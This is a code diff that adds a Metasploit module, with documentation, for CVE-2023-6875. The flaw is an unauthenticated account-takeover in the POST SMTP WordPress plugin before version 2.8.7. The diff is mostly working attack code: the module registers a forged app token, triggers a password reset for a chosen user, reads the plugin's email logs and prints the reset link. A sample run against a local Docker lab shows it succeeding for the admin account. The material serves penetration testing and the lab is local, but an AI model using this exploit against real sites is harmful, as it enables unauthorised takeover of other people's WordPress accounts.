New Exploit: Wordpress Plugin Post SMTP Account Takeover

data/wordlists/wp-exploitable-plugins.txt

@@ -64,3 +64,4 @@ backup-backup
 hash-form
 give
 wp-fastest-cache
+post-smtp

documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md

@@ -0,0 +1,105 @@
+## Vulnerable Application
+
+The POST SMTP WordPress plugin
+prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
+user is able to reset the password of an arbitrary user. This is done by
+requesting a password reset, then viewing the latest email logs to find
+the associated password reset email.
+
+### Install
+
+1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content:
+```
+version: '3.1'
+
+services:
+  wordpress:
+    image: wordpress:latest
+    restart: always
+    ports:
+      - 5555:80
+    environment:
+      WORDPRESS_DB_HOST: db
+      WORDPRESS_DB_USER: chocapikk
+      WORDPRESS_DB_PASSWORD: dummy_password
+      WORDPRESS_DB_NAME: exploit_market
+    mem_limit: 512m
+    volumes:
+      - wordpress:/var/www/html
+
+  db:
+    image: mysql:5.7
+    restart: always
+    environment:
+      MYSQL_DATABASE: exploit_market
+      MYSQL_USER: chocapikk
+      MYSQL_PASSWORD: dummy_password
+      MYSQL_RANDOM_ROOT_PASSWORD: '1'
+    volumes:
+      - db:/var/lib/mysql
+
+volumes:
+  wordpress:
+  db:
+
+```
+2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up`
+3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip`
+4. `unzip post-smtp.2.8.6.zip`
+5. `docker cp post-smtp <wordpress_container_id>:/var/www/html/wp-content/plugins`
+6. Complete the setup of wordpress
+7. Enable the post-smtp plugin, select "default" for the SMTP service
+  1. Complete the setup using random information, it isn't validated.
+8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244
+
+
+## Verification Steps
+
+1. Install the vulnerable plugin
+2. Start msfconsole
+3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover`
+4. Do: `set rhost 127.0.0.1`
+5. Do: `set rport 5555`
+6. `set ssl false`
+7. `set username <username>`
+8. `set verbose true`
+9. `run`
+10. Visit the output URL to reset the user's password.
+
+## Options
+
+### USERNAME
+
+The username to perform a password reset against
+
+## Scenarios
+
+### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker
+
+```
+msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555
+rport => 5555
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false
+ssl => false
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin
+username => admin
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true
+verbose => true
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
+[*] Running module against 127.0.0.1
+
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking /wp-content/plugins/post-smtp/readme.txt
+[*] Found version 2.8.6 in the plugin
+[+] The target appears to be vulnerable.
+[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw
+[+] Succesfully created token: fUefO7U12dXtb0DM
+[*] Requesting logs
+[*] Requesting email content from logs for ID 4
+[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt
+[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US
+[*] Auxiliary module execution completed
+```

lib/msf/core/exploit/remote/http/wordpress/users.rb

@@ -63,4 +63,19 @@ def wordpress_userid_exists?(user_id)
     end
   end
 
+  # Performs a password reset for a user
+  #
+  # @param user [String] Username
+  # @return [Boolean] true if the request was successful
+  def reset_user_password(user)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => wordpress_url_login,
+      'vars_get' => { 'action' => 'lostpassword' },
+      'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' }
+    })
+    return false unless res&.code == 200
+
+    true
+  end
 end

modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb

@@ -0,0 +1,119 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HTTP::Wordpress
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Wordpress POST SMTP Account Takeover',
+        'Description' => %q{
+          The POST SMTP WordPress plugin
+          prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
+          user is able to reset the password of an arbitrary user. This is done by
+          requesting a password reset, then viewing the latest email logs to find
+          the associated password reset email.
+        },
+        'Author' => [
+          'h00die', # msf module
+          'Ulysses Saicha', # Discovery, POC
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2023-6875'],
+          ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
+        ],
+        'DisclosureDate' => '2024-01-10',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'SideEffects' => [IOC_IN_LOGS],
+          'Reliability' => []
+        }
+      )
+    )
+    register_options(
+      [
+        OptString.new('USERNAME', [true, 'Username to password reset', '']),
+      ]
+    )
+  end
+
+  def register_token
+    token = Rex::Text.rand_text_alphanumeric(10..16)
+    device = Rex::Text.rand_text_alphanumeric(10..16)
+    vprint_status("Attempting to Registering token #{token} on device #{device}")
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
+      'ctype' => 'application/x-www-form-urlencoded',
+      'headers' => { 'fcm-token' => token, 'device' => device }
+    )
+    fail_with(Failure::Unreachable, 'Connection failed') unless res
+    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401
+    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404
+    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
+    print_good("Succesfully created token: #{token}")
+    return token, device
+  end
+
+  def check
+    unless wordpress_and_online?
+      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
+    end
+
+    checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7')
+    if checkcode == Msf::Exploit::CheckCode::Safe
+      return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
+    end
+
+    checkcode
+  end
+
+  def run
+    fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
+    token, device = register_token
+    fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
+    print_status('Requesting logs')
+    res = send_request_cgi(
+      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
+      'ctype' => 'application/x-www-form-urlencoded',
+      'headers' => { 'fcm-token' => token, 'device' => device }
+    )
+    fail_with(Failure::Unreachable, 'Connection failed') unless res
+    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
+    json_doc = res.get_json_document
+    # we want the latest email as that's the one with the password reset
+    doc_id = json_doc['data'][0]['id']
+    print_status("Requesting email content from logs for ID #{doc_id}")
+    res = send_request_cgi(
+      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
+      'ctype' => 'application/x-www-form-urlencoded',
+      'headers' => { 'fcm-token' => token, 'device' => device },
+      'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
+    )
+    fail_with(Failure::Unreachable, 'Connection failed') unless res
+    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
+
+    path = store_loot(
+      'wordpress.post_smtp.log',
+      'text/plain',
+      rhost,
+      res.body,
+      "#{doc_id}.log"
+    )
+    print_good("Full text of log saved to: #{path}")
+    # https://rubular.com/r/DDQpKElcH42Qxg
+    # example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US
+    if res.body =~ /^(.*key=.+)$/
+      print_good("Reset URL: #{::Regexp.last_match(1)}")
+      return
+    end
+    print_bad('Reset URL not found, manually review log stored in loot.')
+  end
+end